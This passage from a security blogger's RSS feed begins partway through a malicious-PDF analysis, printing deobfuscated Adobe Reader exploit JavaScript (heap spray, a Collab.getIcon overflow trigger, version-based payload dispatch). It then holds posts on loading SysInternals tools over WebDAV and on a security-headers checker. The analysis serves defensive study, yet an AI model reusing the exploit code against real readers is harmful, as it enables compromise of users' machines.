0x38);<br>                var zAdobe = &quot;&quot;;<br>                var yarsp = unescape(&quot;%u9090%u9090&quot;);<br>                var dU = &quot;&quot;;<br>                yarsp = s(yarsp, len);<br>                this.zAdobeK = &quot;&quot;;<br>                var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;<br>                var aG = new Date();  <br>                for (var vqcQD96y = 0; vqcQD96y &lt; p5AjK65f; vqcQD96y++) {<br>                        var lBasic = &quot;&quot;;<br>                        arry[vqcQD96y] = yarsp + vvpethya;<br>                        var u = &quot;&quot;;   <br>                }<br>                var iAlpha = function() {};<br>                var tUMhNbGw = unescape(&quot;%09&quot;);<br>                while (tUMhNbGw.length &lt; 0x4000) {<br>                        this.gN = false;<br>                        tUMhNbGw += tUMhNbGw;<br>                }<br>                var hV = new String(&quot;&quot;);<br>                var nVE = function() {};<br>                tUMhNbGw = &quot;N.&quot; + tUMhNbGw;<br>                c.doc.Collab.getIcon(tUMhNbGw);<br>        }<br>        this.wZ = 44811;<br>}<br>var hO = new String(&quot;&quot;);</pre><pre>function nO() {<br>        this.iR = false;<br>        var version = c.viewerVersion.toString();<br>        var zH = &#39;&#39;;<br>        version = version.replace(/D/g, &#39;&#39;);<br>        var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));<br>        if ((varsion_array[0] == 8) &amp;&amp; (varsion_array[1] == 0) || (varsion_array[1] == 1 &amp;&amp;<br>varsion_array[2] &lt; 3)) {<br>                cN();<br>        }<br>        this.wN = &quot;&quot;;<br>        var aQ = new String(&quot;&quot;);<br>        if ((varsion_array[0] &lt; 8) || (varsion_array[0] == 8 &amp;&amp; varsion_array[1] &lt; 2 &amp;&amp; varsion_array[2] &lt;<br>2)) {<br>                gX();<br>        }<br>        var vEdit = &quot;&quot;;<br>        if ((varsion_array[0] &lt; 9) || (varsion_array[0] == 9 &amp;&amp; varsion_array[1] &lt; 1)) {<br>                updateE();<br>        }<br>        var eH = function() {};<br>        var eSJ = new Function();<br>        cG();<br>        var vUpdate = false;<br>}<br>var basicU = new Date();<br>this.updateO = false;<br>nO();<br>var mUpdate = function() {};</pre><p>If we take a closer look onto the final code, we can observe that there are multiple payloads within a single PDF document which will be executed when the PDF version matches to the one which is exploitable.</p><h3>Conclusion</h3><p>We always need to be aware of such attacks and shall remain vigilant always. In case we receive any suspicious email/file, it shall properly be scanned and analyzed in an isolated environment only by the resources who have the authority and authorization to do so. Don’t start to analyze it by yourself especially when being on an Official/Personal laptop as your little mistake can cause damage to your whole organization.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c26533c07147" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SysInternals — The Other Way Around]]></title>
            <link>https://kamransaifullah.medium.com/sysinternals-the-other-way-around-d0d009a01e48?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0d009a01e48</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[sysinternals]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Sun, 06 Feb 2022 13:28:12 GMT</pubDate>
            <atom:updated>2022-02-06T13:28:12.443Z</atom:updated>
            <content:encoded><![CDATA[<h3>SysInternals — The Other Way Around</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*EPO4k8bjWoDimYEhTJhLdw.png" /></figure><p>We all have been sometime, someday in our professional life have used SysInternals Suite. I personally have used these utilities extensively throughout my career as well.</p><p>The utilities in the SysInternal Suite are categorized into the following.</p><ul><li>File and Disk Utilities</li><li>Networking Utilities</li><li>Process Utilities</li><li>Security Utilities</li><li>System Information</li><li>Miscellaneous</li></ul><p>In this article, we are going to see the other ways via which we can run these utilities on a system on which these are not available.</p><h3>Traditional Approach</h3><p>If we talk about the traditional approach, we can simply go to the below Microsoft URL and can download the ZIP file.</p><p><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/">Sysinternals Utilities - Windows Sysinternals</a></p><p>Once, we have downloaded the zip file, all we need is to add it to the PATH, so that we can directly call the utilities from the command prompt, powershell prompt or the new Windows Terminal.</p><h3>The Online Approach</h3><p>Microsoft has provided us with their Live Domain which contains all the SysInternal Utilities. We can simply download it from the below mentioned URL as well, in case we are not interested in downloading the complete ZIP file.</p><p><a href="https://live.sysinternals.com/">live.sysinternals.com - /</a></p><h3>Adding SysInternals To PATH</h3><p>In order to have the folder added to the PATH variable, we can simply open the Windows Environment Variable or if you are a bug fan of Windows Terminal, you can type the following.</p><pre><strong>sysdm.cpl</strong></pre><p>The click on Environment Variables, Edit The PATH, add the SysInternal Suite location to the PATH and we are good to go.</p><h3>Loading SysInternals Via Terminal</h3><p>We can load the SysInternals Utilities directly from the command prompt as well. But for that there are some requirements to be achieved.</p><ol><li>At first, type the following to check whether we are able to access the domain or not.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90GfcISDzMfHEUkpVk03ww.png" /></figure><p>It seems like that we are not able to access it. The network PATH was not found.</p><p>2. Check whether the WebClient Service is running or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*Vgoi-o4H7ElQvZgbrLxZuQ.png" /></figure><p>If it is stopped we can simply enable it with <strong>Start-Service</strong> CMDLET.</p><p>3. Launch The Network and Sharing Center and Enable, Network Discovery.</p><pre>control.exe /name Microsoft.NetworkAndSharingCenter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfelFdWCWtAWzXu21Z4A5g.png" /></figure><p>4. Installing Web-DAV Feature on Windows Server.</p><pre>Install-WindowsFeature WebDAV-Redirector –Restart</pre><p>5. Checking Web-Dav Feature on Windows Server.</p><pre>Get-WindowsFeature WebDAV-Redirector</pre><p>6. Once we are done and have an active internet connection on the said machine. We can simply launch the tools directly from the terminal.</p><pre>\\live.sysinternals.com\tools\procmon.exe</pre><p>7. We can also create a mapped drive.</p><pre>net use * \\live.sysinternals.com\tools\</pre><h3>That’s All</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0d009a01e48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Chopper — An Automated Security Headers Analyzer]]></title>
            <link>https://kamransaifullah.medium.com/chopper-an-automated-security-headers-analyzer-abc0464672f8?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/abc0464672f8</guid>
            <category><![CDATA[chopper]]></category>
            <category><![CDATA[https]]></category>
            <category><![CDATA[security-header]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Tue, 25 Jan 2022 18:19:48 GMT</pubDate>
            <atom:updated>2022-01-25T18:23:58.253Z</atom:updated>
            <content:encoded><![CDATA[<h3>Chopper — An Automated Security Headers Analyzer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eIPrHci-jr4Z0qPm_tFhMQ.png" /></figure><p>In recent times, while performing security assessments of web applications, it has always been a challenge to keep an eye on HTTP Security Headers. Just to ensure they are properly set on the server side and are added into the response all the time. It is also very hectic, if you are working with teams and they keep on fixing the security headers and you are required to manually test them everytime. Compared to SecurityHeaders.com website, which is one the finest so far, the application URL is required to be supplied and it checks whether the HTTP Security Headers are present in the response on not.</p><p>There are internal application and also sometimes, you won’t have access to the internet during an engagement/regular testing. For the same, I have always felt the need of a tool which can fix this issue. Thus, Chopper came into existence during my free time.</p><p>Chopper is a python script to scrape HTTP Headers from the requests. All you need is to supply a valid domain name and it will automatically check for security related headers, thus saving much of your time.</p><p>Currently Chopper is able to check the following headers and flags.</p><ol><li>Content-Security-Policy</li><li>X-XSS-Protection</li><li>X-Frame-Headers</li><li>X-Content-Type</li><li>Strict-Transport-Security</li><li>Referrer-Policy</li><li>Feature-Policy</li><li>Cache-Control Policy</li><li>Access-Control-Allow-Origin</li><li>Access-Control-Allow-Credentials</li><li>HttpOnly Flag</li><li>Secure Flag</li></ol><p>Chopper also provides with the complete list of headers. Thus, providing a better view of all the headers.</p><p>Testing it against the applications, I have found it to be working like a charm. Suppose we have the following web application and we are required to check which of the HTTP Security Headers are present.</p><pre><a href="http://testhtml5.vulnweb.com/#/popular">http://testhtml5.vulnweb.com/#/popular</a></pre><p>Running Chopper will yield the following results in which we can clearly observe the missing security headers as well as the complete headers which were present in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ujzbrkoIpUU5npZ4Orwn_w.png" /></figure><p>Thus, Chopper saves a lot of time, all we need is to run it against the application we really want to test and it does not exploits anything.</p><p>Chopper can be downloaded from my GitHub Repo.</p><ul><li><a href="https://github.com/deFr0ggy/Chopper">GitHub - deFr0ggy/Chopper: An Automated Security Headers Analyzer</a></li><li><a href="https://asciinema.org/a/a7RMNVSXnJqx9GqbiMZ5yCsac">untitled</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abc0464672f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>